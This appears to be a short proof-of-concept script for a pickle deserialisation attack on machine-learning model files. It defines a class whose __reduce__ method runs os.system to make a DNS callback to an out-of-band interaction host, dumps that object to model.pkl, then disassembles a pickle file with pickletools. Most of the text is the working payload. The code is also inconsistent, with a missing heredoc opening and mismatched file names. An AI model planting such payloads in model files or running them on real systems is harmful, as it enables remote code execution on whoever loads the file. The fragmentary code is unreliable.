File size: 308 Bytes
1f80fde | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("nslookup xz054hepzk0utdgyzi52qum71y7svjj8.oastify.com",))
pickle.dump(RCE(), open("model.pkl","wb"))
EOF
python - << 'EOF'
import pickletools
print("Pickle opcodes detected:")
pickletools.dis("unsafe_pickle_model.pt")
EOF |